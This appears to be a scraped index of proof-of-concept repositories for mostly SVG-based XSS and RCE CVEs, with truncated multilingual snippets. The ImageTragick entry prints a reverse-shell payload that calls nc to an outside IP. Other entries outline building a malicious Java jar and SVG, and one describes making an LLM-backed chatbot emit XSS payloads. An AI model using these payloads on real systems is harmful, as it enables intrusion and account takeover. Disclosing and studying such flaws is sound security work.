CVE-2023-34845

CVE-2023-34845 CVE-2023-34845 漏洞 POC 漏洞 我在新建内容页面 http://localhost:800/admin/new-content 上发现了一个跨站脚本攻击，它会在用户上下文中执行脚本，使攻击者能够访问浏览器保留的任何 Cookie 或会话令牌。 存储型 XSS，也称为持久型 XSS，比非持久型 XSS 更具破坏性。它发生在恶意脚本被直接注入易受攻击的 Web 应用程序时。 复现步骤 登录账户 点击“新建内容”，如下图所示 点击“图片”按钮 选择注入了 XSS payload 或 SSRF payload 的 payload SVG 文件...

CVE-2024-34452

CVE-2024-34452 - CMSimpleXHにおけるクロスサイトスクリプティング XSS の脆弱性 概要 CMSimpleXH バージョン1.7.6において、クロスサイトスクリプティング XSS の脆弱性が確認されました。この脆弱性により、認可されたユーザーが悪意のあるJavaScriptコードを含むSVGファイルをアップロードすることが可能になります。問題は、アプリケーションのファイルアップロード機能において、アップロードされたSVGファイルの検証とサニタイズが不十分であることに起因します。 脆弱性の詳細 CVE識別子: CVE-2024-34452 深刻度: 中...

CVE-2022-39197

CVE-2022-39197 RCE POC 참고 링크 https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — 이 취약점에 대한 훌륭한 심층 분석이 있습니다 https://www.agarri.fr/blog/archives/2012/05/11/svgfilesandjavacodeexecution/index.html...

CVE-2022-39197

CVE-2022-39197 RCE POC 使い方 ペイロードの準備 1. EvilJar/src/main/java/Exploit.java 内の Line 19 を自分のペイロードに編集します 2. jar をビルドします: mvn clean compile assembly:single 3. EvilJar-1.0-jar-with-dependencies.jar を EvilJar/target/ から serve/ フォルダーへ移動します 4. serve\evil.svg を編集し、attacker を置き換えます 5. python3 -m http.server...

CVE-2026-40791-WP-Time-Slots-Booking-Form-XSS

CVE-2026-40791: 예약 슬롯 하나로 관리자 XSS WordPress WP Time Slots Booking Form 플러그인에서 인증되지 않은 저장형 XSS를 발견했습니다. 공용 예약 제출이 저장된 시간 슬롯 값의 일부를 제어합니다. 플러그인은 나중에 해당 값을 관리자 예약 주문 페이지에 이스케이프 없이 출력합니다. 트릭은 간단합니다. 플러그인은 제출된 약속 문자열을 리터럴 공백으로 분할하지만, HTML은 탭을 태그 이름과 속성 사이의 공백으로 취급합니다. 따라서 8:는 슬롯 값으로 플러그인 파서를 통과한 후, 관리...

SiYuan <= v3.5.9 - Cross Site Scripting

SiYuan v3.5.10 contains a reflected XSS caused by improper sanitization of javascript: href attributes allowing ASCII control characters to bypass prefix checks in SVG sanitizer, letting unauthenticated attackers execute JavaScript via /api/icon/getDynamicIcon. id: CVE-2026-31809 info: name: SiYu...

Z-Downloads < 1.11.7 - Cross-Site Scripting

The plugin does not properly validate uploaded files allowing for the uploading of SVGs containing malicious JavaScript. id: CVE-2024-8673 info: name: Z-Downloads 1.11.7 - Cross-Site Scripting author: Splint3r7 severity: low description: | The plugin does not properly validate uploaded files...

SiYuan <= v3.5.9 - SVG Animate Element XSS

SiYuan = v3.5.9 contains a reflected XSS caused by insufficient SVG sanitization allowing SVG animation elements to inject executable JavaScript in /api/icon/getDynamicIcon endpoint, letting unauthenticated attackers execute scripts. id: CVE-2026-31807 info: name: SiYuan = v3.5.9 - SVG Animate...

Imgproxy < 3.14.0 - Cross-site Scripting (XSS)

Cross-site Scripting XSS - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0. id: CVE-2023-1496 info: name: Imgproxy 3.14.0 - Cross-site Scripting XSS author: pdteam severity: medium description: Cross-site Scripting XSS - Reflected in GitHub repository imgproxy/imgproxy prior to...

SiYuan Note - Cross-Site Scripting

Unauthenticated reflected cross-site scripting XSS vulnerability in all versions of SiYuan Note containing /api/icon/getDynamicIcon with unsafe type=8 rendering logic. Attacker-controlled content is inserted directly into SVG output without proper sanitization. An attacker can execute arbitrary...

CVE-2023-50465

MonicaHQ XSS MonicaHQ XSS の悪用 アカウントを作成する 連絡先を作成する Documents で悪意のある SVG ファイルをアップロードする root@kitploit: alert"Monicahq XSS Poc"; アップロードしたファイルにアクセスする...

CVE-2026-14856-TastyIgniter

CVE-2026-14856: TastyIgniter v4.3.0 における保存型XSSからアカウント乗っ取りへ 📌 概要 TastyIgniter v4.3.0 の Media Manager におけるファイルアップロード機能に、保存型クロスサイトスクリプティング（XSS）の脆弱性が確認されました。アップロードされる .svg ファイルの検証およびサニタイズが不十分であるため、認証済みの低権限ユーザーが、埋め込まれたJavaScriptコードを含む悪意のあるファイルをアップロードできます。...

svg_phishing_tools

SVG セキュリティ解析ツールキット - ツールドキュメント このツールキットには、悪意のある可能性のある SVG ファイルを解析し、セキュリティメカニズムを検出するための専門的な Python ツールが含まれています。 概要 このツールキットは、主に 4 つのツールで構成されています： 1. extract.py - 難読化された URL 抽出のための静的解析 2. extractdynamic.py - box-js を使用した JavaScript 実行のための動的解析 3. cfprobe.py - Cloudflare 保護の検出（Turnstile、CAPTCHA など）...

ImageTragick_Poc

ImageTragick POCs RCEPOC root@kitploit: push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context root@kitploit: push graphic-context viewbox 0 0 640 480 fill...

CVE-2023-33408

CVE-2023-33408 Minical 1.0.0 es vulnerable a Cross-Site Scripting almacenado XSS Vendedor: https://github.com/minical/minical Aplicación de demostración: https://demo.minical.io/ PoC Paso 1: Inicie sesión en la aplicación Minical y navegue a Sala - Estado de la sala. Paso 2: Haga clic en la opció...

CVE-2022-32074

CVE-2022-32074 for osTicket | サポートチケットシステム root@kitploit: 1. Find the file listing directory, the root of the file download directoryм fileuploads this is an example. 2. Load the following xssPayload.svg and open it 例：...

CVE-2023-44767_RiteCMS-File-Upload--XSS---Filemanager

RiteCMS 3.0 ファイルアップロード - XSS Author: Sergio 説明: RiteCMS 3.0 のファイルアップロードの脆弱性により、ローカル攻撃者がXSSコンテンツを含むSVGファイルをアップロードできます。 攻撃ベクトル: AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L PoC: 以下の内容を含むSVGファイルを作成します。 root@kitploit: パネルにログインすると、管理メニューの「Filemanager」セクションに移動し、「Upload file」をクリックします。...

CVE-2025-51860

CVE-2025-51860 취약점 설명 TelegAI는 AI 캐릭터를 구축하고 대화할 수 있는 웹 애플리케이션으로, 채팅 구성 요소와 캐릭터 컨테이너 구성 요소에서 저장형 교차 사이트 스크립팅XSS에 취약합니다. 공격자는 설명, 인사말, 예제 대화 또는 시스템 프롬프트LLM이 채팅 응답에 XSS 페이로드를 포함하도록 지시 중 하나에 SVG XSS 페이로드를 포함한 AI 캐릭터를 제작하여 임의의 클라이언트 측 스크립트 실행을 달성할 수 있습니다. 사용자가 이러한 악성 AI 캐릭터와 상호 작용하거나 해당 프로필을 탐색하기만 해도...

CVE-2025-51863

CVE-2025-51863 취약점 설명 ChatGPTUtil은 ChatGPT와 AI 이미지 생성기에 모두 접근할 수 있는 AI 기반 챗봇 어시스턴트입니다. 채팅 컴포넌트에 Self-XSS자가 교차 사이트 스크립팅 취약점이 존재합니다. 이는 쿠키 탈취로 이어져 원격 계정 하이재킹을 초래할 수 있습니다. 공격 벡터 공격 벡터는 네트워크입니다. 이 XSS 취약점을 악용하려면 공격자가 악성 페이로드예: SVG XSS 페이로드를 제작하여 피해자에게 전달해야 합니다예: 이메일, 악성 웹사이트, 포럼 게시글 또는 인스턴트 메시지. 공격은...

EUVD-2026-77677

EasyAdmin is a fast and modern admin generator for Symfony applications. From 5.0.0 until 5.0.13, FileField and ImageField can accept browser-executable uploads while templates/crud/field/file.html.twig links to stored files for inline same-origin rendering without a download attribute or...